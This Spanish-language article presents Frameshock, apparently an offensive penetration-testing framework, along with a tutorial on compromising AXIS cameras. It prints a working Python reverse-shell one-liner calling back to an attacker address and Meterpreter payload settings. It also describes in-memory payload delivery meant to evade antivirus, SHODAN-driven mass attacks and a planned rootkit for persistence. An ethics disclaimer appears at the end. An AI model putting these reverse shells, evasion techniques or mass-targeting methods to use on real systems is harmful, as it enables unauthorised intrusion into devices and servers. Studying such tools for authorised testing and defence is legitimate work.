/ 9 min de lectura
Frameshock: un framework modular de penetration testing

Introducción
Este artículo recorre el funcionamiento interno del framework de pentesting Frameshock y responde las preguntas más comunes sobre su uso y arquitectura.
La comunidad fue reportando bugs menores de estabilidad en el framework, que el equipo corrigió de forma constante. Recomendamos descargar la última versión desde el repositorio oficial: https://github.com/hdbreaker/Frameshock

El framework está en fase BETA, por ahora soportado solo en distribuciones Linux basadas en Debian y en desarrollo constante. Quienes encuentren un error pueden actualizar a la última versión del repositorio y confirmar si el problema sigue presente.
Filosofía del Framework y Experiencia de Usuario
Cualquiera que haya usado Metasploit no va a tener mayores problemas familiarizándose con Frameshock, porque decidimos seguir la misma línea de interacción con el usuario que MSF para facilitar la migración y evitar complicaciones sintácticas que implica una forma nueva de trabajar.
Esta guía explica el funcionamiento de Frameshock y resuelve dudas comunes sobre su uso.
Arquitectura Central
Frameshock está dividido en 4 partes principales:
- The Main - Funcionalidad central del framework
- The Payload - Generación de vectores de ataque
- The Handler - Gestión de sesiones
- The Modules - Componentes de explotación

El Main del Framework
Este es el cuerpo principal del Framework, donde están todas las utilidades de configuración para su correcto funcionamiento, las opciones de configuración de payload, la posibilidad de acceder al MultiHandler de Frameshock y también las opciones del motor de búsqueda SHODAN y todas las modificaciones de base de datos que eso implica.
Lo importante a tener en cuenta en Frameshock es que, a diferencia de Metasploit, las opciones de configuración del framework son globales, lo que permite acceder a ellas desde los módulos subyacentes dando una flexibilidad enorme a la hora de desarrollar.
Los payloads en Frameshock también son globales, igual que las búsquedas de SHODAN, lo que permite realizar múltiples ataques rápidamente y reconfigurar sin necesidad de modificar nada dentro del módulo que estamos operando ni de las sesiones obtenidas.
Filosofía de Frameshock
Frameshock sigue esta línea de pensamiento:
- Elegir el payload a usar
- Iniciar el Session Manager
- Seleccionar un módulo y atacar

Base Técnica
# Framework StructureFrameshock/├── frameshock.py # Core framework engine├── config.py # Configuration management├── pyHandler.py # Multi-session handler├── Modules/ # Drop-in exploit modules├── ExtraModules/ # Extended functionality├── Injector/ # Payload injection system├── handler/ # Session management└── db/ # SQLite target databaseEl Sistema de Payloads
A diferencia de Metasploit, Frameshock ofrece solo 5 Payloads posibles. Cada uno cubre todas las necesidades que un pentester puede requerir según el sistema a atacar.
Los payloads más potentes de Frameshock están programados en Python, lo que genera una dependencia en la máquina víctima con el interprete. Esto se resolvió en Linux, dando la posibilidad de generar 2 Payloads que dependen directamente de las shells interactivas del sistema.
Como algunos sistemas ARM/IoT solo tienen /bin/sh, creamos 2 payloads que permiten manejar Reverse Shell tanto en BASH como en SH.
Todavía estamos desarrollando un payload en C/C++ para atacar máquinas Windows de forma eficiente, pero por ahora se puede pasar el payload por Py2Exe para generar un ejecutable compilado y realizar el ataque con éxito. Aunque siempre existe la posibilidad de atacar servidores Windows con PowerShell, que incluye Python por defecto.
Tipos de Payload y Funcionamiento
Dentro de los Payloads tenemos 3 formas distintas de operación:
Payloads en Python
Frameshock Main, al seleccionar un Payload, genera un injector.py, que se encuentra dentro de la carpeta del proyecto /Injector y también se copia dentro del directorio /Injector adentro del path de Apache definido por el usuario (/var/www en nuestro caso).
/var/www/Injector/injector.pyEsto permite acceder al payload de forma remota vía wget después de explotar la vulnerabilidad.
injector.py es un código chico que le pide el Payload verdadero al Handler y después lo ejecuta On The Fly, evitando detecciones de Antivirus y generando tráfico de internet mínimo.
Diagrama:
Victim (injector.py) ------GiveMePayload------> Attacker HandlerVictim (injector.py) <-------Payload---------- Attacker HandlerVictim (Payload On Memory) ---Reverse Shell---> Attacker HandlerPayloads de Shell
MainFrameshock genera injector.sh o injector.bash, que están dentro de la carpeta del proyecto /Injector y se copian dentro del directorio de Apache.
/var/www/Injector/injector.sh || /var/www/Injector/injector.bashEn este caso, injector.sh o injector.bash devuelve una shell interactiva directamente por métodos específicos, sin pedirle el Payload al Handler.
Payload de Meterpreter
MainFrameshock genera un injector.py que pide el Payload correspondiente al Multi/Handler de Metasploit, que lo ejecuta On The Fly y devuelve una sesión de Meterpreter.
El Sistema del Handler
El Handler se inicia desde el menú principal ejecutando start handler. Es completamente independiente y permite manejar todos los tipos de sesiones entregadas por los payloads, excepto Meterpreter, que lo maneja Metasploit y depende de su instalación previa.

El Handler de Frameshock se comporta de 2 formas distintas según el identificador que envía el payload.
Integra:
- Payload Manager: se encarga de enviar Payloads a los Injectors correspondientes
- Session Manager: maneja sesiones ilimitadas de forma simultánea usando MultiThreading y procesamiento asincrónico
Esto permite interactuar y devolver sesiones a background en cualquier momento con los comandos interact y stop. Se espera que la próxima versión pueda instalar un rootkit en los dispositivos deseados como módulo para mantener el acceso.
Gestión de Sesiones en Acción

En la imagen de arriba se puede ver cómo un injector.py le pide un payload al handler y, después de ejecutarlo en memoria, devuelve una Reverse Shell con la que podemos interactuar en cualquier momento.
Arsenal Avanzado de Payloads
Frameshock soporta múltiples tipos de payload para escenarios diversos:
Generic Reverse Shells
# Traditional sh/bash reverse shellsset payload linux/reverse_shellset lhost 192.168.1.100set lport 4444Python-Based Connections
# Cross-platform Python reverse shellimport socket,subprocess,oss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("192.168.1.100",4444))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])Meterpreter Integration
# Direct Metasploit integrationset payload windows/meterpreter/reverse_tcpset lhost 192.168.1.100set lport 443Gestión Multi-Sesión
Maneja decenas de sistemas comprometidos de forma simultánea:
frameshock> start handler[+] Multi-handler started on 192.168.1.100:4444[+] Waiting for connections...
[+] Session 1 opened: 172.16.1.200:443[+] Session 2 opened: 10.0.0.50:22[+] Session 3 opened: 192.168.1.100:80
frameshock> sessions -i 1[Session 1] shell> whoamiwww-data[Session 1] shell> uname -aLinux target01 3.19.0-25-generic #26~14.04.1-UbuntuEl Sistema de Módulos
Los módulos desarrollados por la comunidad están en ExtraModules y hay que seleccionarlos y copiarlos a la carpeta Modules, respetando la nomenclatura y el identificador numérico correspondiente según la cantidad de módulos presentes en la carpeta.
Hecho esto, podemos interactuar con los módulos seleccionados desde Frameshock usando los comandos show modules y use {ModuleNumber}.

Importante: antes de realizar un ataque con un módulo, hay que asegurarse de haber creado un payload e iniciado el Handler.
Una vez seleccionado un módulo, podemos ver sus opciones internas para adaptarlo a nuestras necesidades con el comando help.
Cada desarrollador puede adaptar las propiedades internas de sus módulos según sus necesidades. Frameshock propone una estructura base que hay que respetar para sacarle el máximo provecho al framework.
Integración con SHODAN
Entre las opciones por defecto de los módulos está la función use shodan, que carga como targets todos los dispositivos obtenidos al usar la búsqueda de SHODAN en el menú principal de Frameshock, permitiendo automatizar ataques masivos de forma simple y rápida.
Estructura de Módulos
Los módulos disponibles incluyen:
- QMAIL Shellshock Exploit - apunta a servidores de mail vulnerables
- SQL Injection with Bing Search - descubrimiento automatizado de SQLi
- AXIS Camera Credential Harvester - explotación de dispositivos IoT
- Web Application Bot - testing web automatizado
Tutorial Práctico: Ataque a una Cámara AXIS
En este ejemplo de tutorial vamos a atacar una cámara AXIS remota, vulnerable al módulo AXISIntruder desarrollado por [Q]3rv[0], que prueba contraseñas débiles en estos dispositivos. Una vez logrado el acceso, sube el Payload y en segundos devuelve una shell dentro del pequeño sistema interno de estos dispositivos.
Notar que las cámaras AXIS con ARM solo tienen /bin/sh, así que nuestro payload tiene que ser el apropiado para que el ataque se pueda realizar.

Proceso de Ataque Paso a Paso
1. Iniciar el Handler
Primero, inicializamos el session handler para manejar las conexiones entrantes:

2. Seleccionar el Módulo
Elegimos el módulo de explotación de cámaras AXIS:

3. Configurar el Target Manualmente
Configuramos nuestra cámara objetivo de forma manual:

4. Ejecutar el Ataque
Lanzamos la explotación contra el target configurado:

5. Gestión de la Sesión
Después de unos segundos, podemos ver cómo nuestro handler maneja la sesión:

El ataque compromete la cámara AXIS con éxito, mostrando la efectividad de Frameshock en escenarios de explotación de dispositivos IoT.
Filosofía de Desarrollo
Modularidad “Pick and Drop”
La filosofía central detrás de Frameshock es la simplicidad radical. Agregar un exploit nuevo es tan simple como crear un archivo Python y colocarlo en el directorio Modules/:
def exploit(target, options): """ Custom exploit module Target: target IP/hostname Options: payload configuration """ # Your exploitation logic here return success_status
def configure(): """Module configuration""" return { 'name': 'Custom Exploit', 'description': 'My custom vulnerability', 'author': 'Your Name', 'targets': ['linux', 'windows'] }Y listo. Sin registro, sin archivos de configuración, sin modificar el framework. Simplicidad pura.
Combatiendo la Cultura Script-Kiddie
Frameshock está diseñado para promover el aprendizaje y la comprensión, no la ejecución irreflexiva de scripts:
# Every module includes educational commentsdef exploit_function(target): """ This exploit targets CVE-XXXX-XXXX in service XYZ
Vulnerability details: - Buffer overflow in packet parsing - Occurs when input length > 256 bytes - No input validation on user-controlled data
Exploitation steps: 1. Craft oversized packet 2. Trigger overflow condition 3. Control program execution """ # Clear, documented exploitation codeSeguridad y Ética
Uso Responsable
Frameshock está diseñado exclusivamente para testing de seguridad autorizado:
Aviso crítico: este framework solo se debe usar contra sistemas propios o con permiso explícito y por escrito para probarlos. El acceso no autorizado a sistemas informáticos es ilegal y no ético.
Valor Educativo
El framework cumple varios propósitos educativos:
- Entender la explotación: código claro y documentado enseña cómo funcionan las vulnerabilidades
- Desarrollo de herramientas: la arquitectura modular muestra principios de diseño de software
- Conciencia de seguridad: la experiencia práctica con vectores de ataque mejora la defensa
Divulgación Responsable
Al usar Frameshock para investigación de seguridad:
- Documentar los hallazgos a fondo
- Reportar las vulnerabilidades a los vendors afectados
- Dar tiempo razonable para los parches
- Compartir el conocimiento con la comunidad de seguridad
Acceso al Repositorio
El framework Frameshock completo está disponible en GitHub: https://github.com/hdbreaker/Frameshock